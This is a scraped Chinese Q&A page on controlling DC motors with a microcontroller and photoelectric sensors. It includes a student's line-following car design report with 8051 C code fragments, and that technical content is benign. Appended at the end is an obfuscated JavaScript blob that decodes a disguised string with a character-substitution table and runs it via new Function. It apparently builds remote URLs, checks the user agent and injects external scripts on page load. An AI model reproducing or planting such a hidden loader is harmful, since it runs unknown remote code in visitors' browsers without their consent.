由光电传感器感应的单片机控制电动机系统

2024-12-12 06:13:56
推荐回答(4个)
回答(1):

楼主你这里的光电开关又叫光电对管(一个红外发射管和一个基极内接的感光三极管) 因为这是循迹小车我选用rpr220,我以上传电路图

我补充一句光电耦合器原理也类似光电对管只不过把发光管和感光管镶嵌在内部,而且值得注意的是光电耦合器规格只有多少电压的,我没有听说有多少电流的,要用光耦还不如用三极管更直接。其实不推荐使用光耦做驱动,我的电路就是使用l298n驱动12v电机

顺便说一下,电路图里有一个电机接一个电容主要是针对电机调速,而我的电机灵敏度不好,加一个电容起缓冲作用,而l298芯片的电路典型法中没有。

我最近做了个循迹小车结题报告如下。。。

其实是否用光电隔离取决于你驱动的电机的电流大小如果电流不到1安不用光电耦合也行。。。光耦驱动好像不行,不太稳定

测速用码盘的话最好做的越密越好,否则实际运行中轮子会晃动等等很多原因使结果误差很大,因为一般光电开关都会有聚光器,很小的晃动都能感觉到

循迹小车

制作人:李静

摘要:通过制作小车可以加深对单片机控制的熟练程度,同时初步学习项目开发的过程。

 小车按照给定的路线行走,有定时,显示运行时间,计时,粗测行走距离等功能。

一、 设计任务:

1、设计要求

(1)自动寻迹小车开始处于设置模式下,通过按键设置运行时间,完成设置时间后,按下开始键小车启动,同时显示当前运行的时间。

(2)小车按指定路线运行,自动区分直线轨道和弯路轨道,在指定弯路处拐弯,实现灵活前进、转弯等功能。

  (3)小车行走在预设的时间后,自动停止,数码管显示行走的时间,3秒后显示行走距离。

 (4)中途可以按右键强制停止,提前结束,显示行走时间,距离。

2、小车循迹的原理

这里的循迹是指小车在白色地板上循黑线行走,通常采取的方法是红外探测法。

红外探测法,即利用红外线在不同颜色的物体表面具有不同的反射性质的特点,在小车行驶过程中不断地向地面发射红外光,当红外光遇到白色纸质地板时发生漫反射,反射光被装在小车上的接收管接收;如果遇到黑线则红外光被吸收,小车上的接收管接收不到红外光。单片机就是否收到反射回来的红外光为依据来确定黑线的位置和小车的行走路线。红外探测器探测距离有限,一般最大不应超过3cm。

二、 方案论证:

根据设计要求,本系统主要由控制器模块、电源模块、寻迹传感器模块、直流电机及其驱动模块、电压比较模块等模块构成。

为较好的实现各模块的功能,我们分别设计了几种方案并分别进行了论证。

3.1车体设计

方案1:购买玩具电动车。购买的玩具电动车具有组装完整的车架车轮、电机及其驱动电路。但是一般的说来,玩具电动车具有如下缺点:首先,这种玩具电动车由于装配紧凑,使得各种所需传感器的安装十分不方便。其次,这种电动车一般都是前轮转向后轮驱动,不能适应该题目的方格地图,不能方便迅速的实现原地保持坐标转90度甚至180度的弯角。再次,玩具电动车的电机多为玩具直流电机,力矩小,空载转速快,负载性能差,不易调速。而且这种电动车一般都价格不菲。因此我们放弃了此方案。

方案2:自己制作电动车。经过反复考虑论证,我们制定了左右两轮分别驱动,前万向轮转向的方案。即左右轮分别用两个转速和力矩基本相同的直流电机进行驱动,车体首部装一个万向轮。由此可以轻松的实现小车坐标不变的90度转弯。

在安装时我们保证两个驱动电机同轴。当小车前进时,左右两驱动轮与前万向轮形成了三点结构。这种结构使得小车在前进时比较平稳,可以避免出现后轮过低而使左右两驱动轮驱动力不够的情况。为了防止小车重心的偏移,前万向轮起支撑作用。

对于车架材料的选择,我们经过比较选择了铝合金。用有铝合金做的车架比塑料车架更加牢固,比铁制小车更轻便,美观。

3.2控制器模块

方案1:采用stc宏晶公司的stc89c52单片机作为主控制器。stc89c5是一个低功耗,高可靠性,超低价,无法解密,高性能的8位单片机,片内含32k空间的可反复擦写100,000次的Flash只读存储器, 32个IO口,且stc系列的单片机可以在线编程、调试,方便地实现程序的下载与整机的调试。

从方便使用的角度考虑,我们选择了此方案。

3.3电源模块

方案1:采用12V蓄电池为直流电机供电,将12V电压降压、稳压后给单片机系统和其他芯片供电。蓄电池具有较强的电流驱动能力以及稳定的电压输出性能。虽然蓄电池的体积过于庞大,在小型电动车上使用极为不方便,但由于我们的车体设计时留出了足够的空间,并且蓄电池的价格比较低。因此我们选择了此方案。

综上考虑,我们选择了此方案。

3.4稳压模块

方案1:用一个7805直接降压,用大散热片。虽然结构,原理简单,但电流过大,使电路不稳定,容易烧坏稳压块我们放弃了此方案。

方案2:直接用两7805把电压直接稳压到5V,理论上由于降压过大容易烧稳压块,用两个7805并联。但两个稳压块出现馈赠问题,后用修改电路解决此问题,我们最后选择了此方案

3.5寻迹传感器模块

方案1:用光敏电阻组成光敏探测器。光敏电阻的阻值可以跟随周围环境光线的变化而变化。当光线照射到白线上面时,光线发射强烈,光线照射到黑线上面时,光线发射较弱。因此光敏电阻在白线和黑线上方时,阻值会发生明显的变化。将阻值的变化值经过比较器就可以输出高低电平。

但是这种方案受光照影响很大,不能够稳定的工作。因此我们考虑其他更加稳定的方案。

方案2:用RPR220型光电对管。RPR220是一种一体化反射型光电探测器,其发射器是一个砷化镓红外发光二极管,而接收器是一个高灵敏度,硅平面光电三极管。

RPR220采用DIP4封装,其具有如下特点:

塑料透镜可以提高灵敏度。

内置可见光过滤器能减小离散光的影响。

体积小,结构紧凑。

当发光二极管发出的光反射回来时,经过lm339电压比较芯片,通过对门限电压进行比较,输出高低电平,通过调整门限电压可以调整传感器单元的灵敏度。此光电对管调理电路简单,工作性能稳定。

因此我们选择了方案2。

3.6电机模块

本系统为智能电动车,对于电动车来说,其驱动轮的驱动电机的选择就显得十分重要。由于本实验要实现对路径的准确定位和精确测量,我们综合考虑了一下两种方案。

方案1:采用直流减速电机。直流减速电机转动力矩大,体积小,重量轻,装配简单,使用方便。由于其内部由高速电动机提供原始动力,带动变速(减速)齿轮组,可以产生较大扭力。

因我们用软件对电机调速,实际值要比这小一些

注意:在实际计算时用的是理论值。

能够较好的满足系统的要求,因此我们选择了此方案。

3.7电机驱动模块

方案1:采用专用芯片L298N作为电机驱动芯片。L298N是一个具有高电压大电流的全桥驱动芯片,它相应频率高,一片L298N可以分别控制两个直流电机,而且还带有控制使能端。用该芯片作为电机驱动,操作方便,稳定性好,性能优良。

方案2:对于直流电机用分立元件构成驱动电路。由分立元件构成电机驱动电路,结构简单,价格低廉,在实际应用中应用广泛。但是这种电路工作性能不够稳定。

因此我们选用了方案1。

三、 分析与计算:

1、传感器模块的设计

 

因此我们考虑用比较器的方案。

在图中,可调电阻RV1可以调节比较器的门限电压,而且经试验验证给此电路供电的电池的压降较小。因此我们选择此电路作为我们的传感器检测与调理电路。

2、寻迹光电对管的安装

考虑到设计要求,本次设计仅用4对光电传感器就能完成设计要求,采用直线型排列,中间2对传感器用来校正小车的寻迹路线,保证小车运行的直线性。两侧的传感器用来检测小车过线,可以实现小车的转弯。

 

4、电机驱动电路的设计

我们采用电机驱动芯片L298N作为电机驱动,驱动电路的设计如图7所示:

  L298N的5、7、10、12四个引脚接到单片机上,通过对单片机的编程就可以实现两个直流电机的PWM调速以及正反转等功能。这里的二极管作用是释放电机线圈的自感电能

电容c3起缓冲作用,经过试验在调速时下方的电机接收的是一个高脉冲的电流,由于直流电机灵敏性不是很好,我们也考虑用周期长的脉冲,但由于扫描数码管就会慢,数码管就会出现颤动。综合考虑,我们选择接电容起缓冲作用。

4、测量距离设计

 我们采用用一个光电对管感应轮子黑白条来算出轮子转动的角度间接测出行走的距离。

 在实际中会出现轮子打滑现象,黑白纸带表面不光滑,不平整,轮子轴不牢固,内外摇晃,由于rpr220有聚光器即使非常小的变化都会有反应。通过实际测试传感器发出的信号要比理论大的多,在电池电量过低时,这种现象会更加不准,无规律可循(有时候大,有时候小)。即使在电量足的情况下也有很大误差,超过一定距离,结果已经没有意义,所以我们限定最大估测距离在6米左右,因此此设计为粗测距离。

四、 总电路图及元器件清单

经过反复论证,我们最终确定了如下方案:

(1)车体用铝合金车架手工制作。

(2)采用stc89c52单片机作为主控制器。

(3)用12V蓄电池为直流电机供电,将12V电压经两个7805(带大散热片)并联降压、稳压后为单片机系统和其他芯片供电。

(4)用RPR220型光电对管进行寻迹。

(5)L298N作为直流电机的驱动芯片。

 

五、 软件实现

3.1主程序流程图

我们所设计的软件的主程序流程图如图所示:

  

六、 测试:

七、 创新点

本作品改进了lm339电压比较器接控制门限电压的电阻的方式,没有采用接4个变阻器,用的是统一接一个变阻器,这样方便调整灵敏度。在光电对管传感器电路上也有改变,直接把发射极和集电极接在5V电源上,这样可以使电流更大,试验证明当接通时电流不足以烧坏三极管。

直流并联了电容,电容c3起缓冲作用,经过试验在调速时下方的电机接收的是一个高脉冲的电流,由于直流电机灵敏性不是很好,我们也考虑用周期长的脉冲,但由于扫描数码管也会慢,数码管就会出现颤动,我们同时考虑用时钟中断扫描刷新数码管,但那样使中断频繁发生(大约50ms)而且数码管刷新一次用时也会很长(大约24ms),造成中断过长,那样会大大加大整个循环周期,基本看不到数码管显示连续的数。综合考虑,我们选择接电容起缓冲作用。

八、 心得体会

P0 要想用做io口时必须加上拉电阻,即使用上拉电阻驱动能力也不怎么好。本作品用共阴数码管,驱动电路设计比较复杂,数字不够亮,最好用共阳数码管,加上三极管驱动可能效果会好一些。

由于单片机高频的对数码管进行扫描,在程序设计的时候就要求主程序的周期不能过长,这对于我们小车执行寻迹,调速,定时,计时,测距,转弯等功能的程序要求是非常高的,经过我综合考虑后决定主函数只有刷新数码管和探测黑线的功能剩下的所有功能都用中断处理,同时要求产生的中断时间不能过长。这些就造就了我的程序到目前为止已经有350行的长度。

我们最初设计精确测量距离,但误差不可避免,由于硬件的局限性,尊重事实,我们降低了标准。以后可以在此改进,扩展。

在整个测试阶段我们充分考虑程序功能的连续性和兼容性,由于89c52单片机速度的局限,同时程序需要实时对数码管高速的刷新频率我们不能设计车太高的速度。经过反复测试综合考虑我们采用目前的方案

九、 结束语

我们的寻迹小车在完成设计要求的前提下,充分考虑到了外观、成本等问题,在性能和价格之间作了比较好的平衡。由于设计要求并不复杂,我们没有在电路中增加冗余的功能。

由于作者水平的有限,部分观点存在错误,希望指正,指教,对此表示感谢。

特别感谢:

 张洪军老师和实验室老师的指导,及接伟权,张新涛,黄绍军等学长的建议和指教,还有陈振宇,吴旷和全组成员,没有你们就没有我们今天。

              2010年5 月 

               李静

程序片段

/*******************************************

数码管刷新函数

********************************************/

void display(uchar qw,uchar bw,uchar sw,uchar gw)//显示函数

{

 P2=0xe0;

 P1=tabledu[qw];

 delay(6);

 P2=0xd0;

 P1=tabledu[bw];

 delay(6);

 P2=0xb0;

 P1=tabledu[sw];

 delay(6);

 P2=0x70;

 P1=tabledu[gw];

 delay(6);

 P2=0x0f;//

}

/*******************************************

任务初始化函数

********************************************/

void init0()任务1初始化函数

{

 EA=1;

 EX0=1;

 EX1=1;

 IT1=IT0=1;

 P0=0x00;

 flag=1;

 jishu=0;//

}

void init()//任务2初始化函数

{

 EA=1;

 TH0=(65536-50000)/256;//初始化加1计数器

 TL0=(65536-50000)%256;

 ET0=1;

 TR0=1;

 TH1=(65536-50000)/256;//初始化加1计数器

 TL1=(65536-50000)%256;

 ET1=1;

 TR1=1;

 

 TMOD=0x11;

 dsh=(qw*10+bw)*60;//

 jishu=1;//

 

 }

void jiesu()

{

 if(flag2==0)

 {

  flag1=1;

  flag2=1;

  cnt1=0;

 }

 ET0=0;

 P0=0;

 display(qw,bw,sw,gw);

}

回答(2):

将二极管部分阳极接VCC,阴极串联电阻接单片机I/O口;

回答(3):

控制开关的话 用光电藕做隔离 光电藕一边直接与单片机相连
控制电机的话 另一边可以与控制芯片如l292n相连

控制转速 可以做个码盘 再用光电开关 和单片机相连 单片机测脉冲的频率 就可算出转速 既可做闭环控制~

回答(4):

你所说的是用光耦来驱动吗?用光耦的话会有延迟(不过很小),我不知道你这样做是为什么,是隔离还是你的驱动能力不够,要是驱动能力不够的话可以用推挽电路。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();